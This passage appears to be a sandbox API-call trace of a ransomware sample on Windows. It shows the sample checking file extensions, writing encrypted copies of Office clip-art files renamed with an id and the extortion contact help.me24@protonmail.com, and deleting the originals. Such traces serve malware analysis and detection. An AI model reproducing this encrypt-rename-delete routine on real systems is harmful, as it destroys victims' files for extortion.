	[0185.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.922] lstrlenW (lpString=".zip") returned 4
	[0185.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.922] lstrlenW (lpString=".rar") returned 4
	[0185.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.923] lstrlenW (lpString=".bz2") returned 4
	[0185.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.923] lstrlenW (lpString=".7z") returned 3
	[0185.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.923] lstrlenW (lpString=".dbf") returned 4
	[0185.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.923] lstrlenW (lpString=".1cd") returned 4
	[0185.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.923] lstrlenW (lpString=".jpg") returned 4
	[0185.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.923] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.923] lstrlenW (lpString="J0152894.WMF") returned 12
	[0185.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.924] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=11348) returned 1
	[0185.924] CloseHandle (hObject=0x53c) returned 1
	[0185.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220
	[0185.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.925] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.925] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0185.926] GetLastError () returned 0x0
	[0185.926] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2c54, lpOverlapped=0x0) returned 1
	[0185.928] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2c60, lpOverlapped=0x0) returned 1
	[0185.929] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.929] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.929] SetEndOfFile (hFile=0x56c) returned 1
	[0185.930] CloseHandle (hObject=0x56c) returned 1
	[0185.930] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.930] SetEndOfFile (hFile=0x53c) returned 1
	[0185.933] CloseHandle (hObject=0x53c) returned 1
	[0185.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1
	[0185.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.934] lstrlenW (lpString=".doc") returned 4
	[0185.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.934] lstrlenW (lpString=".docx") returned 5
	[0185.934] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0185.934] lstrlenW (lpString=".pdf") returned 4
	[0185.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.934] lstrlenW (lpString=".xls") returned 4
	[0185.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.935] lstrlenW (lpString=".xlsx") returned 5
	[0185.935] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0185.935] lstrlenW (lpString=".ppt") returned 4
	[0185.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.935] lstrlenW (lpString=".zip") returned 4
	[0185.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.935] lstrlenW (lpString=".rar") returned 4
	[0185.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString=".bz2") returned 4
	[0185.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString=".7z") returned 3
	[0185.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.935] lstrlenW (lpString=".dbf") returned 4
	[0185.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.935] lstrlenW (lpString=".1cd") returned 4
	[0185.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.935] lstrlenW (lpString=".jpg") returned 4
	[0185.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.935] lstrlenW (lpString=".doc") returned 4
	[0185.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.935] lstrlenW (lpString=".docx") returned 5
	[0185.935] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0185.935] lstrlenW (lpString=".pdf") returned 4
	[0185.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.936] lstrlenW (lpString=".xls") returned 4
	[0185.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.936] lstrlenW (lpString=".xlsx") returned 5
	[0185.936] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0185.936] lstrlenW (lpString=".ppt") returned 4
	[0185.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.936] lstrlenW (lpString=".zip") returned 4
	[0185.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.936] lstrlenW (lpString=".rar") returned 4
	[0185.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.936] lstrlenW (lpString=".bz2") returned 4
	[0185.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.936] lstrlenW (lpString=".7z") returned 3
	[0185.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.936] lstrlenW (lpString=".dbf") returned 4
	[0185.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.936] lstrlenW (lpString=".1cd") returned 4
	[0185.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0185.936] lstrlenW (lpString=".jpg") returned 4
	[0185.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.936] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.937] lstrlenW (lpString="J0152898.WMF") returned 12
	[0185.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.938] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4496) returned 1
	[0185.939] CloseHandle (hObject=0x53c) returned 1
	[0185.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 0x220
	[0185.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.939] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.939] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0185.941] GetLastError () returned 0x0
	[0185.941] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1190, lpOverlapped=0x0) returned 1
	[0185.943] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x11a0, lpOverlapped=0x0) returned 1
	[0185.944] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.944] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.944] SetEndOfFile (hFile=0x56c) returned 1
	[0185.944] CloseHandle (hObject=0x56c) returned 1
	[0185.944] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.944] SetEndOfFile (hFile=0x53c) returned 1
	[0185.947] CloseHandle (hObject=0x53c) returned 1
	[0185.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.949] lstrlenW (lpString=".doc") returned 4
	[0185.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.949] lstrlenW (lpString=".docx") returned 5
	[0185.949] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0185.949] lstrlenW (lpString=".pdf") returned 4
	[0185.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.949] lstrlenW (lpString=".xls") returned 4
	[0185.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.949] lstrlenW (lpString=".xlsx") returned 5
	[0185.949] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0185.950] lstrlenW (lpString=".ppt") returned 4
	[0185.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.950] lstrlenW (lpString=".zip") returned 4
	[0185.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.950] lstrlenW (lpString=".rar") returned 4
	[0185.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.950] lstrlenW (lpString=".bz2") returned 4
	[0185.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString=".7z") returned 3
	[0185.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.951] lstrlenW (lpString=".dbf") returned 4
	[0185.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.951] lstrlenW (lpString=".1cd") returned 4
	[0185.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.951] lstrlenW (lpString=".jpg") returned 4
	[0185.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.951] lstrlenW (lpString=".doc") returned 4
	[0185.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString=".docx") returned 5
	[0185.951] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0185.951] lstrlenW (lpString=".pdf") returned 4
	[0185.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString=".xls") returned 4
	[0185.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.951] lstrlenW (lpString=".xlsx") returned 5
	[0185.951] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0185.951] lstrlenW (lpString=".ppt") returned 4
	[0185.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.951] lstrlenW (lpString=".zip") returned 4
	[0185.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.951] lstrlenW (lpString=".rar") returned 4
	[0185.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString=".bz2") returned 4
	[0185.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.951] lstrlenW (lpString=".7z") returned 3
	[0185.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.952] lstrlenW (lpString=".dbf") returned 4
	[0185.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.952] lstrlenW (lpString=".1cd") returned 4
	[0185.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0185.952] lstrlenW (lpString=".jpg") returned 4
	[0185.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.952] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.952] lstrlenW (lpString="J0153047.WMF") returned 12
	[0185.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.953] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=33068) returned 1
	[0185.953] CloseHandle (hObject=0x53c) returned 1
	[0185.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220
	[0185.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.953] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.953] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0185.954] GetLastError () returned 0x0
	[0185.954] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x812c, lpOverlapped=0x0) returned 1
	[0186.130] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x8130, lpOverlapped=0x0) returned 1
	[0186.131] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.131] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.132] SetEndOfFile (hFile=0x56c) returned 1
	[0186.132] CloseHandle (hObject=0x56c) returned 1
	[0186.132] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.132] SetEndOfFile (hFile=0x53c) returned 1
	[0186.136] CloseHandle (hObject=0x53c) returned 1
	[0186.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1
	[0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.138] lstrlenW (lpString=".doc") returned 4
	[0186.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.138] lstrlenW (lpString=".docx") returned 5
	[0186.138] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0186.138] lstrlenW (lpString=".pdf") returned 4
	[0186.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.138] lstrlenW (lpString=".xls") returned 4
	[0186.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.138] lstrlenW (lpString=".xlsx") returned 5
	[0186.138] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0186.138] lstrlenW (lpString=".ppt") returned 4
	[0186.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.139] lstrlenW (lpString=".zip") returned 4
	[0186.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.139] lstrlenW (lpString=".rar") returned 4
	[0186.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString=".bz2") returned 4
	[0186.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString=".7z") returned 3
	[0186.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.139] lstrlenW (lpString=".dbf") returned 4
	[0186.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.139] lstrlenW (lpString=".1cd") returned 4
	[0186.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.139] lstrlenW (lpString=".jpg") returned 4
	[0186.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0186.139] lstrlenW (lpString=".doc") returned 4
	[0186.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.139] lstrlenW (lpString=".docx") returned 5
	[0186.139] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0186.139] lstrlenW (lpString=".pdf") returned 4
	[0186.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.140] lstrlenW (lpString=".xls") returned 4
	[0186.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.140] lstrlenW (lpString=".xlsx") returned 5
	[0186.140] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0186.140] lstrlenW (lpString=".ppt") returned 4
